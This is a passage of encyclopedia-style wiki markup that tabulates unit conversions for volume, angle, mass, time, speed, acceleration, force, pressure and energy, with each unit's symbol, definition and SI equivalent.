| ≈ 4.735 510 416 667 mL
|-----
| teaspoon (U.S.) || tsp
| ≡ 1/6 US fl oz
| = 4.928 921 595 mL
|-----
| teaspoon (metric) || &amp;nbsp;
|
| ≡ 5 mL
|-----
| teaspoon (Imperial) || tsp
| ≡ 1/24 gi (Imp)
| = 5.919 388 020 8(3) mL
|-----
| [[dessertspoon]] (Imperial) || &amp;nbsp;
| ≡ 1/12 gi (Imp)
| = 11.838 776 041 (6) mL
|-----
| [[tablespoon]] (Canadian) || tbsp
| ≡ ½ fl oz (Imp)
| = 14.206 531 25 mL
|-----
| tablespoon (U.S.) || tbsp
| ≡ ½ US fl oz
| = 14.786 764 782 5 mL
|-----
| tablespoon (metric) || &amp;nbsp;
|
| ≡ 15 mL
|-----
| cubic [[inch]] || cu in
| ≡ 1 in³
| = 16.387 064 mL
|-----
| tablespoon (Imperial) || tbsp
| ≡ 5/8 fl oz (Imp)
| = 17.758 164 062 5 mL
|-----
| pony || &amp;nbsp;
| ≡ 3/4 US fl oz
| = 22.180 147 171 875 mL
|-----
| [[fluid ounce]] (Imperial) || fl oz (Imp)
| ≡ 1/160 gal (Imp)
| = 28.413 062 5 mL
|-----
| fluid ounce (U.S.) || fl oz (US)
| ≡ 1/128 gal (US)
| = 29.573 529 562 5 mL
|-----
| shot || &amp;nbsp;
| ≡ 1 US fl oz
| = 29.573 529 562 5 mL
|-----
| jigger || &amp;nbsp;
| ≡ 1 ½ US fl oz
| = 44.360 294 343 75 mL
|-----
| [[gill]] (U.S.) || gi (US)
| ≡ 4 US fl oz
| = 118.294 118 25 mL
|-----
| gill (Imperial); Noggin || gi (Imp); nog
| ≡ 5 fl oz (Imp)
| = 142.065 312 5 mL
|-----
| [[Cup (unit)|cup]] (Canadian) || c (CA)
| ≡ 8 fl oz (Imp)
| = 227.3045 mL
|-----
| cup (U.S.) || c (US)
| ≡ 1/16 gal (US)
| = 236.588 236 5 mL
|-----
| cup (metric) || c
|
| ≡ 250 mL
|-----
| breakfast cup || &amp;nbsp;
| ≡ 10 fl oz (Imp)
| = 284.130 625 mL
|-----
| [[pint]] (U.S. fluid) || pt (US fl)
| ≡ 1/8 gal (US)
| = 473.176 473 mL
|-----
| pint (U.S. dry) || pt (US dry)
| ≡ 1/4 bu (US lvl)
| = 0.550 610 471 357 5 L
|-----
| pint (Imperial) || pt (Imp)
| ≡ 1/8 gal (Imp)
| = 0.568 261 25 L
|-----
| fifth || &amp;nbsp;
| ≡ 1/5 US gal
| = 0.757 082 356 8 L
|-----
| [[quart]] (U.S. fluid) || qt (US)
| ≡ 1/4 gal (US fl)
| = 0.946 352 946 L
|-----
| quart (U.S. dry) || qt (US)
| ≡ 1/32 bu (US lvl) = ¼ gal (US dry)
| = 1.101 220 942 715 L
|-----
| quart (Imperial) || qt (Imp)
| ≡ ¼ gal (Imp)
| = 1.136 522 5 L
|-----
| pottle; quartern || &amp;nbsp;
| ≡ ½ gal (Imp) = 80 fl oz (Imp)
| = 2.273 045 L
|-----
| [[board-foot]] || fbm
| ≡ 144 cu in
| = 2.359 737 216 L
|-----
| [[gallon]] (U.S. fluid; Wine) || gal (US)
| ≡ 231 cu in
| = 3.785 411 784 L
|-----
| gallon (U.S. dry) || gal (US)
| ≡ 1/8 bu (US lvl)
| = 4.404 883 770 86 L
|-----
| gallon (Imperial) || gal (Imp)
| ≡
| = 4.546 09 L
|-----
| beer gallon || beer gal
| ≡ 282 cu in
| = 4.621 152 048 L
|-----
| [[peck]] (U.S. dry) || pk
| ≡ ¼ US lvl bu
| = 8.809 767 541 72 L
|-----
| [[peck]] (Imperial) || pk
| ≡ 2 gal (Imp)
| = 9.092 18 L
|-----
| [[bucket (unit)|bucket]] (Imperial) || bkt
| ≡ 4 gal (Imp)
| = 18.184 36 L
|-----
| [[timber foot]] || &amp;nbsp;
| ≡ 1 cu ft
| = 28.316 846 592 L
|-----
| [[cubic foot]] || cu ft
| ≡ 1 ft × 1 ft × 1 ft
| = 28.316 846 592 L
|-----
| [[firkin]] || &amp;nbsp;
| ≡ 9 gal (US)
| = 34.068 706 056 L
|-----
| [[bushel]] (U.S. dry level) || bu (US lvl)
| ≡ 2150.42 cu in
| = 35.239 070 166 88 L
|-----
| bushel (Imperial) || bu (Imp)
| ≡ 8 gal (Imp)
| = 36.368 72 L
|-----
| bushel (U.S. dry heaped) || bu (US)
| ≡ 1 ¼ bu (US lvl)
| = 44.048 837 708 6 L
|-----
| [[strike]] (U.S.) || &amp;nbsp;
| ≡ 2 bu (US lvl)
| = 70.478 140 333 76 L
|-----
| strike (Imperial) || &amp;nbsp;
| ≡ 2 bu (Imp)
| = 72.737 44 L
|-----
| [[kilderkin]] || &amp;nbsp;
| ≡ 18 gal (Imp)
| = 81.829 62 L
|-----
| [[sack]] (U.S.) || &amp;nbsp;
| ≡ 3 bu (US lvl)
| = 105.717 210 500 64 L
|-----
| sack (Imperial); bag || &amp;nbsp;
| ≡ 3 bu (Imp)
| = 109.106 16 L
|-----
| [[barrel (unit)|barrel]] (U.S. dry) || bl (US)
| ≡ 105 qt (US) = 105/32 bu (US lvl)
| = 115.628 198 985 075 L
|-----
| barrel (U.S. fluid) || fl bl (US)
| ≡ 31 ½ gal (US)
| = 119.240 471 196 L
|-----
| [[coomb]] || &amp;nbsp;
| ≡ 4 bu (Imp)
| = 145.474 88 L
|-----
| barrel (petroleum) || bl
| ≡ 42 gal (US)
| = 158.987 294 928 L
|-----
| barrel (Imperial) || bl (Imp)
| ≡ 36 gal (Imp)
| = 163.659 24 L
|-----
| [[hogshead]] (U.S.) || hhd (US)
| ≡ 2 fl bl (US)
| = 238.480 942 392 L
|-----
| [[seam]] || &amp;nbsp;
| ≡ 8 bu (US lvl)
| = 281.912 561 335 04 L
|-----
| quarter; [[pail]] || &amp;nbsp;
| ≡ 8 bu (Imp)
| = 290.949 76 L
|-----
| hogshead (Imperial) || hhd (Imp)
| ≡ 2 bl (Imp)
| = 327.318 48 L
|-----
| [[cord-foot]] || &amp;nbsp;
| ≡ 16 cu ft
| = 0.453 069 545 472 m³
|-----
| [[butt]], pipe || &amp;nbsp;
| ≡ 126 gal (wine)
| = 0.476 961 884 784 m³
|-----
| [[perch]] || per
| ≡ 16 ½ ft × 1 1/2 ft × 1 ft
| = 0.700 841 953 152 m³
|-----
| cubic [[yard]] || cu yd
| ≡ 27 cu ft
| = 0.764 554 857 984 m³
|-----
| [[ton|tun]] || &amp;nbsp;
| ≡ 252 gal (wine)
| = 0.953 923 769 568 m³
|-----
| displacement [[ton]] || &amp;nbsp;
| ≡ 35 cu ft
| = 0.991 089 630 72 m³
|-----
| water ton || &amp;nbsp;
| ≡ 28 bu (Imp)
| = 1.018 324 16 m³
|-----
| freight ton || &amp;nbsp;
| ≡ 40 cu ft
| = 1.132 673 863 68 m³
|-----
| [[wey]] (U.S.) || &amp;nbsp;
| ≡ 40 bu (US lvl)
| = 1.409 562 806 675 2 m³
|-----
| load || &amp;nbsp;
| ≡ 50 cu ft
| = 1.415 842 329 6 m³
|-----
| register ton || &amp;nbsp;
| ≡ 100 cu ft
| = 2.831 684 659 2 m³
|-----
| [[last]] || &amp;nbsp;
| ≡ 80 bu (Imp)
| = 2.909 497 6 m³
|-----
| cord ([[Wood fuel#Firewood|firewood]]) || &amp;nbsp;
| ≡ 8 ft × 4 ft × 4 ft
| = 3.624 556 363 776 m³
|-----
| cubic [[fathom]] || cu fm
| ≡ 1 fm × 1 fm × 1 fm
| = 6.116 438 863 872 m³
|-----
| [[acre]]-[[inch]] || &amp;nbsp;
| ≡ 1 ac × 1 in
| = 102.790 153 128 96 m³
|-----
| [[acre]]-[[foot (unit of length)|foot]] || &amp;nbsp;
| ≡ 1 ac × 1 ft
| = 1233.481 837 547 52 m³
|-----
| cubic [[mile]] || cu mi
| ≡ 1 mi³
| = 4.168 181 825 440 579 584 km³
|}

===Angle===
{| class=&quot;wikitable&quot;
|+ [[Angle]]
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[radian]] (SI unit) || rad
|
| ≡ 1 rad
|-----
| [[centesimal]] [[second of arc]] || &quot;
| ≡ 1 gr/10000
| ≈ 1.570 796 µrad
|-----
| [[arcsecond]] || &quot;
| ≡ 1°/3600
| ≈ 4.848 137 µrad
|-----
| [[centesimal]] [[minute of arc]] || '
| ≡ 1 gr/100
| ≈ 0.157 080 mrad
|-----
| [[minute of arc]] || '
| ≡ 1°/60
| ≈ 0.290 888 mrad
|-----
| angular [[mil]] || µ
| ≡ 2π/6400 rad
| ≈ 0.981 748 mrad
|-----
| [[grad (angle)|grad]]; [[gradian]]; [[gon]] || gr
| ≡ 2π/400 rad = 0.9°
| ≈ 15.707 963 mrad
|-----
| [[degree (angle)|degree (of arc)]] || °
| ≡ π/180 rad
| ≈ 17.453 293 mrad
|-----
| [[sign]] || &amp;nbsp;
| ≡ 30°
| ≈ 0.523 599 rad
|-----
| [[octant]] || &amp;nbsp;
| ≡ 45°
| ≈ 0.785 398 rad
|-----
| [[sextant]] || &amp;nbsp;
| ≡ 60°
| ≈ 1.047 198 rad
|-----
| [[quadrant]] || &amp;nbsp;
| ≡ 90°
| ≈ 1.570 796 rad
|}

===Mass===

{| class=&quot;wikitable&quot;
|+ [[Mass]], m
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[kilogram]] || kg
|
| ([[SI base unit]])
|-----
| [[electron]] rest mass || m&lt;sub&gt;e&lt;/sub&gt;
|
| ≈ 9.109 381 88×10&lt;sup&gt;-31&lt;/sup&gt; ± 72×10&lt;sup&gt;-39&lt;/sup&gt; kg
|-----
| [[atomic units|atomic unit of mass]] || au
| ≡ m&lt;sub&gt;e&lt;/sub&gt;
| ≈ 9.109 381 88×10&lt;sup&gt;-31&lt;/sup&gt; ± 72×10&lt;sup&gt;-39&lt;/sup&gt; kg
|-----
| [[atomic mass unit|unified atomic mass unit]] || amu
|
| ≈ 1.660 538 73×10&lt;sup&gt;-27&lt;/sup&gt; ± 13×10&lt;sup&gt;-35&lt;/sup&gt; kg
|-----
| [[dalton (unit)|dalton]] || Da
|
| ≈ 1.660 902 10×10&lt;sup&gt;-27&lt;/sup&gt; ± 13×10&lt;sup&gt;-35&lt;/sup&gt; kg
|-----
| [[gamma (unit)|gamma]] || γ
|
| ≡ 1 μg
|-----
| [[point (unit of mass)|point]] || &amp;nbsp;
| ≡ 1/100 kt (metric)&lt;!--carat, not kiloton--&gt;
| = 2 mg
|-----
| [[mite (unit)|mite]] || &amp;nbsp;
| ≡ 1/20 gr
| = 3.239 945 5 mg
|-----
| [[mite (unit)|mite]] (metric) || &amp;nbsp;
| ≡ 1/20 g
| = 50 mg
|-----
| [[grain (measure)|grain]] || gr
|
| ≡ 64.798 91 mg
|-----
| [[crith]] || &amp;nbsp;
|
| ≈ 89.9349 mg
|-----
| [[carat]] (metric) || kt
|
| ≡ 200 mg
|-----
| [[carat]] || kt
| ≡ 3 1/6 gr
| ≈ 205.196 548 333 mg
|-----
| [[sheet (unit)|sheet]] || &amp;nbsp;
| ≡ 1/700 lb av
| = 647.9891 mg
|-----
| [[scruple]] (avoirdupois) || s av
| ≡ 20 gr
| = 1.295 978 2 g
|-----
| [[pennyweight]] || dwt; pwt
| ≡ 1/20 oz t
| = 1.555 173 84 g
|-----
| [[dram]] (avoirdupois) || dr av
| ≡ 27 11/32 gr
| = 1.771 845 195 312 5 g
|-----
| [[dram]] (apothecary; troy) || dr t
| ≡ 60 gr
| = 3.887 934 6 g
|-----
| [[hyl]] (CGS unit) || &amp;nbsp;
| ≡ 1 gee × 1 g × 1 s²/m
| = 9.806 65 g
|-----
| [[ounce]] (avoirdupois) || oz av
| ≡ 1/16 lb
| = 28.349 523 125 g
|-----
| [[assay ton]] (short) || AT
| ≡ 1 mg × 1 sh tn ÷ 1 oz t
| ≈ 29.166 667 g
|-----
| [[troy ounce|ounce (apothecary; troy)]] || oz t
| ≡ 1/12 lb t
| = 31.103 476 8 g
|-----
| [[assay ton]] (long) || AT
| ≡ 1 mg × 1 long tn ÷ 1 oz t
| ≈ 32.666 667 g
|-----
| [[mark (unit of mass)|mark]] || &amp;nbsp;
| ≡ 8 oz t
| = 248.827 814 4 g
|-----
| [[pound (weight)|pound (troy)]] || lb t
| ≡ 5760 grains
| = 0.373 241 721 6 kg
|-----
| [[pound (weight)|pound (avoirdupois)]] || lb av
| ≡ 7000 grains
| = 0.453 592 37 kg
|-----
| [[pound (weight)|pound (metric)]] || &amp;nbsp;
|
| ≡ 500 g
|-----
| [[clove (unit of mass)|clove]] || &amp;nbsp;
| ≡ 8 lb av
| = 3.628 738 96 kg
|-----
| [[stone (weight)|stone]] || st
| ≡ 14 lb av
| = 6.350 293 18 kg
|-----
| [[hyl]] (MKS unit) || &amp;nbsp;
| ≡ 1 gee × 1 kg × 1 s²/m
| = 9.806 65 kg
|-----
| quarter (Imperial) || &amp;nbsp;
| ≡ 1/4 long cwt = 2 st = 28 lb av
| = 12.700 586 36 kg
|-----
| slug; geepound || slug
| ≡ 1 gee × 1 lb av × 1 s²/ft
| ≈ 14.593 903 kg
|-----
| bag ([[Portland cement]])|| &amp;nbsp;
| ≡ 94 lb av 
| = 42.637 682 78 kg
|-----
| short [[hundredweight]]; cental || sh cwt
| ≡ 100 lb av
| = 45.359 237 kg
|-----
| long [[hundredweight]]|| long cwt or cwt
| ≡ 112 lb av
| = 50.802 345 44 kg
|-----
| bag ([[coffee]]}
| 
| ≡ 60 kg
| = 60 kg
|-----
| [[quintal (unit of mass)|quintal]] (metric) || q
|
| ≡ 100 kg
|-----
| [[wey]] || &amp;nbsp;
| ≡ 252 lb = 18 st
| = 114.305 277 24 kg (variants exist)
|-----
| long quarter|| &amp;nbsp;
| ≡ ¼ long tn
| = 254.011 727 2 kg
|-----
| [[kip (unit)|kip]] || kip
| ≡ 1000 lb av&lt;!--KIloPound--&gt;
| = 453.592 37 kg
|-----
| [[short ton]] || sh tn
| ≡ 2000 lb
| = 907.184 74 kg
|-----
| [[tonne]] ([[mts]] unit) || t
|
| ≡ 1000 kg
|-----
| [[long ton]]|| long tn or ton
| ≡ 2240 lb
| = 1016.046 908 8 kg
|-----
| barge || &amp;nbsp;
| ≡ 22 ½ sh tn
| = 20,411.656 65 kg
|}
In [[physics]], the [[pound (weight)|pound of mass]] is sometimes written '''lbm''' to distinguish it from the [[pound-force]] ('''lbf'''). It should not be read as the mongrel unit &quot;pound metre&quot;.

===Time===
{| class=&quot;wikitable&quot;
|+ [[Time]], t
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[second]] || s
|
| ([[SI base unit]])
|-----
| [[Planck time]] || &amp;nbsp;
| ≡ √([[gravitational constant|G]][[Dirac's constant|ℏ]]/''[[speed of light|c]]''&lt;sup&gt;5&lt;/sup&gt;)
| ≈ 1.351 211 818×10&lt;sup&gt;-43&lt;/sup&gt; s
|-----
| [[atomic units|atomic unit of time]] || au
| ≡ [[Bohr radius|a&lt;sub&gt;0&lt;/sub&gt;]]/([[fine structure constant|α]]·c)
| ≈ 2.418 884 254×10&lt;sup&gt;-17&lt;/sup&gt; s
|-----
| [[svedberg]] || S
| ≡ 10&lt;sup&gt;-13&lt;/sup&gt; s
| = 100 fs
|-----
| shake || &amp;nbsp;
| ≡ 10&lt;sup&gt;-8&lt;/sup&gt; s
| = 10 ns
|-----
| sigma || &amp;nbsp;
| ≡ 10&lt;sup&gt;-6&lt;/sup&gt; s
| = 1 μs
|-----
| jiffy || &amp;nbsp;
| ≡ 1/60 s
| ≈ 16.666 667 ms
|-----
| jiffy (alternate) || &amp;nbsp;
| ≡ 1/100 s
| ≈ 10 ms
|-----
| [[helek]] || &amp;nbsp;
| ≡ 1/1080 h
| ≈ 3.333333 s
|-----
| [[minute]] || min
|
| ≡ 60 s
|-----
| moment || &amp;nbsp;
| ≡ 90 s
| ≡ 90 s
|-----
| [[hour]] || h
| ≡ 60 min
| = 3600 s
|-----
| [[day]] || d
| ≡ 24 h
| = 86 400 s
|-----
| [[week]] || wk
| ≡ 7 d
| = 604 800 s
|-----
| [[fortnight]] || &amp;nbsp;
| ≡ 2 wk
| = 1 209 600 s
|-----
| [[month]] (hollow) || mo
| ≡ 29 d
| = 2 505 600 s
|-----
| [[month]] (full) || mo
| ≡ 30 d
| = 2 592 000 s
|-----
| [[year]] (Calendar) || a ''or'' y
| ≡ 365 d
| = 31 536 000 s
|-----
| [[year]] (Gregorian) || a ''or'' y
| ≡ 365.2425 d
| = 31 556 952 s
|-----
| [[year]] (Julian) || a ''or'' y
| ≡ 365.25 d
| = 31 557 600 s
|-----
| [[sidereal year]] || a ''or'' y
| ≡ 365.256363 d
| = 31 558 149.76 s
|-----
| lustre; lustrum || &amp;nbsp;
| ≡ 5 a of 365 d
| = 1.5768×10&lt;sup&gt;8&lt;/sup&gt; s
|-----
| [[octaeteris]] || &amp;nbsp;
| ≡ 8 a of 365 d
| = 2.522 88×10&lt;sup&gt;8&lt;/sup&gt; s
|-----
| [[decade]] || &amp;nbsp;
| ≡ 10 a of 365 d
| = 3.1536×10&lt;sup&gt;8&lt;/sup&gt; s
|-----
| [[enneadecaeteris]]; [[Metonic cycle]] || &amp;nbsp;
| ≡ 110 mo (hollow) + 125 mo (full) = 19 a of 365 d
| = 5.996 16×10&lt;sup&gt;8&lt;/sup&gt; s
|-----
| [[Callippic cycle]] || &amp;nbsp;
| ≡ 441 mo (hollow) + 499 mo (full) = 76 a of 365.25 d
| = 2.398 377 6×10&lt;sup&gt;9&lt;/sup&gt; s
|-----
| [[century]] (Calendar) || &amp;nbsp;
| ≡ 100 a of 365 d
| = 3.1536×10&lt;sup&gt;9&lt;/sup&gt; s
|-----
| [[century]] (Julian) || &amp;nbsp;
| ≡ 100 a of 365.25 d
| = 3.155 76×10&lt;sup&gt;9&lt;/sup&gt; s
|-----
| [[Hipparchic cycle]] || &amp;nbsp;
| ≡ 4 Callippic cycles - 1 d
| = 9.593 424×10&lt;sup&gt;9&lt;/sup&gt; s
|-----
| [[millennium]] (Calendar) || &amp;nbsp;
| ≡ 1000 a of 365 d
| = 3.1536×10&lt;sup&gt;10&lt;/sup&gt; s
|-----
| [[millennium]] (Gregorian) || &amp;nbsp;
| ≡ 1000 a of 365.2425 d
| = 3.155 695 2×10&lt;sup&gt;10&lt;/sup&gt; s
|-----
| [[millennium]] (Julian) || &amp;nbsp;
| ≡ 1000 a of 365.25 d
| = 3.155 76×10&lt;sup&gt;10&lt;/sup&gt; s
|-----
| [[Sothic cycle]] || &amp;nbsp;
| ≡ 1461 a of 365 d
| = 4.607 409 6×10&lt;sup&gt;10&lt;/sup&gt; s
|}

===Speed===

{| class=&quot;wikitable&quot;
|+ [[Speed]], v
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[metre per second]] (SI unit)|| m/s
|
| ≡ 1 m/s
|-----
| [[foot (unit of length)|foot]] per [[hour]] || fph
| ≡ 1 ft/h
| ≈ 8.466 667×10&lt;sup&gt;-5&lt;/sup&gt; m/s
|-----
| [[furlong]] per [[fortnight]] || &amp;nbsp;
| ≡ ½ fur/wk
| ≈ 1.663 095×10&lt;sup&gt;-4&lt;/sup&gt; m/s
|-----
| [[inch]] per [[minute]] || ipm
| ≡ 1 in/min
| ≈ 4.23 333×10&lt;sup&gt;-4&lt;/sup&gt; m/s
|-----
| [[foot (unit of length)|foot]] per [[minute]] || fpm
| ≡ 1 ft/min
| = 5.08×10&lt;sup&gt;-3&lt;/sup&gt; m/s
|-----
| [[inch]] per [[second]] || ips
| ≡ 1 in/s
| = 2.54×10&lt;sup&gt;-2&lt;/sup&gt; m/s
|-----
| [[kilometre per hour]] || km/h
| ≡ 1 km/h
| ≈ 2.777 778×10&lt;sup&gt;-1&lt;/sup&gt; m/s
|-----
| [[foot (unit of length)|foot]] per [[second]] || fps
| ≡ 1 ft/s
| = 3.048×10&lt;sup&gt;-1&lt;/sup&gt; m/s
|-----
| [[mile per hour]] || mph
| ≡ 1 mi/h
| = 0.447 04 m/s
|-----
| [[knot (speed)|knot]] || kn
| ≡ 1 [[nautical mile|NM]]/h = 1.852 km/h
| ≈ 0.514 444 m/s
|-----
| [[knot (speed)|knot]] (Admiralty) || kn
| ≡ 1 NM (Adm)/h = 1.853 184 km/h
| ≈ 0.514 773 m/s
|-----
| [[mile]] per [[minute]] || mpm
| ≡ 1 mi/min
| = 26.8224 m/s
|-----
| [[mile]] per [[second]] || mps
| ≡ 1 mi/s
| = 1.609 344 km/s
|-----
| [[speed of light]] in vacuum || ''c''
|
| ≡ 2.997 924 58×10&lt;sup&gt;8&lt;/sup&gt; m/s
|}

===Acceleration===
{| class=&quot;wikitable&quot;
|+ [[Acceleration]], a
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[metre per second squared]] (SI unit)|| m/s²
|
| ≡ 1 m/s²
|-----
| [[foot (unit of length)|foot]] per [[hour]] per [[second]] || fph/s
| ≡ 1 ft/h·s
| ≈ 8.466 667×10&lt;sup&gt;-5&lt;/sup&gt; m/s²
|-----
| [[inch]] per [[minute]] per [[second]] || ipm/s
| ≡ 1 in/min·s
| ≈ 4.233 333×10&lt;sup&gt;-4&lt;/sup&gt; m/s²
|-----
| [[foot (unit of length)|foot]] per [[minute]] per [[second]] || fpm/s
| ≡ 1 ft/min·s
| = 5.08×10&lt;sup&gt;-3&lt;/sup&gt; m/s²
|-----
| [[Galileo (unit)|galileo]] || Gal
| ≡ 1 cm/s²
| = 10&lt;sup&gt;-2&lt;/sup&gt; m/s²
|-----
| [[inch]] per [[second]] squared || ips²
| ≡ 1 in/s²
| = 2.54×10&lt;sup&gt;-2&lt;/sup&gt; m/s²
|-----
| [[foot (unit of length)|foot]] per [[second]] squared || fps²
| ≡ 1 ft/s²
| = 3.048×10&lt;sup&gt;-1&lt;/sup&gt; m/s²
|-----
| [[mile]] per [[hour]] per [[second]] || mph/s
| ≡ 1 mi/h·s
| = 4.4704×10&lt;sup&gt;-1&lt;/sup&gt; m/s²
|-----
| [[knot (speed)|knot]] per [[second]] || kn/s
| ≡ 1 kn/s
| ≈ 5.144 444×10&lt;sup&gt;-1&lt;/sup&gt; m/s²
|-----
| standard [[gravity]] || ''g''
|
| ≡ 9.806 65 m/s²
|-----
| [[mile]] per [[minute]] per [[second]] || mpm/s
| ≡ 1 mi/min·s
| = 26.8224 m/s²
|-----
| [[mile]] per [[second]] squared || mps²
| ≡ 1 mi/s²
| = 1.609 344×10³ m/s²
|}

===Force===
{| class=&quot;wikitable&quot;
|+ [[Force (physics)|Force]], F
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[newton]] (SI unit) || N
| ≡ kg·m/s²
| 
|-----
| [[atomic units|atomic unit of force]] || au
| ≡ m&lt;sub&gt;e&lt;/sub&gt;·[[fine structure constant|α]]²·''[[speed of light|c]]''²/[[Bohr radius|a&lt;sub&gt;0&lt;/sub&gt;]]
| ≈ 8.238 722 241×10&lt;sup&gt;-8&lt;/sup&gt; N
|-----
| [[dyne]] ([[cgs unit]]) || dyn
| ≡ g·cm/s²
| = 10&lt;sup&gt;-5&lt;/sup&gt; N
|-----
| gravet || &amp;nbsp;
| ≡ ''[[gee|g]]'' × 1 g
| = 9.806 65 mN
|-----
| [[poundal]] || pdl
| ≡ 1 lb·ft/s²
| = 0.138 254 954 376 N
|-----
| [[ounce-force]] || ozf
| ≡ ''g'' × 1 oz
| = 0.278 013 850 953 781 2 N
|-----
| [[pound-force]] || [[lbf]]
| ≡ ''g'' × 1 lb
| = 4.448 221 615 260 5 N
|-----
| [[kilogram-force]]; kilopond; grave || kgf; kp
| ≡ ''g'' × 1 kg
| = 9.806 65 N
|-----
| sthene ([[mts]] unit) || sn
| ≡ 1 t·m/s²
| = 1 kN
|-----
| [[kip (unit)|kip]]; kip-force || kip; kipf; klbf
| ≡ ''g'' × 1000 lb
| = 4.448 221 615 260 5 kN
|-----
| [[ton]]-force || tnf
| ≡ ''g'' × 1 sh tn
| = 8.896 443 230 521 kN&lt;/td&gt;
|}

===Pressure===
{| class=&quot;wikitable&quot;
|+ [[Pressure]], p (lower case)
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[pascal]] (SI unit) || Pa
| ≡ N/m²
| = kg/m·s²
|-----
| barye ([[cgs unit]]) || &amp;nbsp;
| ≡ 1 dyn/cm²
| = 0.1 Pa
|-----
| [[poundal]] per square [[foot (unit of length)|foot]] || pdl/sq ft
| ≡ 1 pdl/sq ft
| ≈ 1.488 164 Pa
|-----
| millimetre of [[water]] (3.98 °C) || mmH&lt;sub&gt;2&lt;/sub&gt;O
| ≈ 999.972 kg/m³ × 1 mm × ''g''
| = 9.806 38 Pa (= 0.999972 kgf/m²)
|-----
| [[pound (weight)|pound]] per square [[foot (unit of length)|foot]] || psf
| ≡ 1 lb/sq ft × ''g''
| ≈ 47.880 259 Pa
|-----
| centimetre of [[water]] (3.98 °C) || cmH&lt;sub&gt;2&lt;/sub&gt;O
| ≈ 999.972 kg/m³ × 1 cm × ''g''
| = 98.0638 Pa
|-----
| [[torr]] || torr
| ≡ 101 325/760 Pa
| ≈ 133.322 368 4 Pa
|-----
| [[torr|millimetre of mercury]] || [[mmHg]]
| ≡ 13 595.1 kg/m³ × 1 mm × ''g'' ≈ 1 torr
| = 133.322 387 415 Pa
|-----
| [[inch]] of [[water]] (3.98 °C) || inH&lt;sub&gt;2&lt;/sub&gt;O
| ≈ 999.972 kg/m³ × 1 in × ''g''
| = 249.082 Pa
|-----
| pièze ([[mts]] unit) || pz
| ≡ 1000 kg/m·s²
| = 1 kPa
|-----
| centimetre of mercury || cmHg
| ≡ 13 595.1 kg/m³ × 1 cm × ''g''
| = 1.333 223 874 15 kPa
|-----
| [[foot (unit of length)|foot]] of [[water]] (3.98 °C) || ftH&lt;sub&gt;2&lt;/sub&gt;O
| ≈ 999.972 kg/m³ × 1 ft × ''g''
| = 2.988 98 kPa
|-----
| [[inch]] of mercury || inHg
| ≡ 13 595.1 kg/m³ × 1 in × ''g''
| = 3.386 388 640 341 kPa
|-----
| [[Pound-force per square inch|pound per square inch]] || psi
| ≡ 1 lb × ''g'' / 1 sq in
| ≈ 6.894 757×10³ Pa
|-----
| [[foot (unit of length)|foot]] of mercury || ftHg
| ≡ 13 595.1 kg/m³ × 1 ft × ''g''
| = 40.636 663 684 091 9 kPa
|-----
| short [[ton]] per square [[foot (unit of length)|foot]] || &amp;nbsp;
| ≡ 1 sh tn × ''g'' / 1 sq ft
| ≈ 95.760 518 kPa
|-----
| [[Atmospheric pressure|atmosphere]] (technical) || atm
| ≡ 1 kgf/cm²
| = 98.0665 kPa
|-----
| [[bar (unit)|bar]] || bar
|
| ≡ 10&lt;sup&gt;5&lt;/sup&gt; Pa
|-----
| [[Atmospheric pressure|atmosphere]] (standard) || atm
|
| ≡ 101 325 Pa
|-----
| [[kip (unit)|kip]] per square [[inch]] || ksi
| ≡ 1 kipf/sq in
| ≈ 6.894757 MPa
|-----
| kilogram-force per square millimetre || kgf/mm²
| ≡ 1 kgf/mm²
| = 9.806 65 MPa
|}

===Energy or work===

{| class=&quot;wikitable&quot;
|+ [[Energy]], E, W
!Name of unit
!Symbol
!Definition
!Relation to [[SI]] units
|-----
| [[joule]] (SI unit) || J
| ≡ N·m = W·s = V·A·s
| = kg·m²/s²
|-----
| [[Electron volt|electronvolt]] || eV
| ≡ ''[[elementary charge|e]]'' × 1 V 
| ≈ 1.602 176×10&lt;sup&gt;-19&lt;/sup&gt; J
|-----
| [[Johannes Robert Rydberg|rydberg]] || Ry
| ≡ ''[[Rydberg constant|R&lt;sub&gt;∞&lt;/sub&gt;]]''·[[Planck constant|ℎ]]·''[[speed of light|c]]''
| ≈ 2.179 872×10&lt;sup&gt;-18&lt;/sup&gt; J
|-----
| [[Hartree|hartree]] || E&lt;sub&gt;h&lt;/sub&gt;
| ≡ m&lt;sub&gt;e&lt;/sub&gt;·[[fine structure constant|α]]²·''[[speed of light|c]]''² (= 2 Ry)
| ≈ 4.359 744×10&lt;sup&gt;-18&lt;/sup&gt; J
|-----
| [[atomic units|atomic unit of energy]] || au
| ≡ E&lt;sub&gt;h&lt;/sub&gt; ≈ 4.359 744×10&lt;sup&gt;-18&lt;/sup&gt; J&lt;/td&gt;
|-----
| [[erg]] ([[cgs unit]]) || erg
| ≡ 1 g·cm²/s²
| = 10&lt;sup&gt;-7&lt;/sup&gt; J
|-----
| [[foot (unit of length)|foot]]-poundal || ft pdl
| ≡ 1 lb·ft²/s²
| = 4.214 011 009 380 48×10&lt;sup&gt;-2&lt;/sup&gt; J
|-----
| cubic centimetre of [[Atmosphere (unit)|atmosphere]]; standard cubic centimetre || cc atm; scc
| ≡ 1 atm × 1 cm³
| = 0.101 325 J
|-----
| [[inch]]-[[pound (weight)|pound]] force || in lbf
| ≡ ''g'' × 1 lb × 1 in
| = 0.112 984 829 027 616 7 J
|-----
| [[foot (unit of length)|foot]]-[[pound (weight)|pound]] force || ft lbf
| ≡ ''g'' × 1 lb × 1 ft
| = 1.355 817 948 331 400 4 J
|-----
| [[calorie]] (20 °C) || cal&lt;sub&gt;20 °C&lt;/sub&gt;
|
| ≈ 4.1819 J
|-----
| [[calorie]] (thermochemical) || cal&lt;sub&gt;th&lt;/sub&gt;
|
| ≡ 4.184 J
|-----
| [[calorie]] (15 °C) || cal&lt;sub&gt;15 °C&lt;/sub&gt;
|
| ≡ 4.1855 J
|-----
| [[calorie]] (International Table) || cal&lt;sub&gt;IT&lt;/sub&gt;
|
| ≡ 4.1868 J
|-----
| [[calorie]] (mean) || cal&lt;sub&gt;mean&lt;/sub&gt;
|
| ≈ 4.190 02 J
|-----
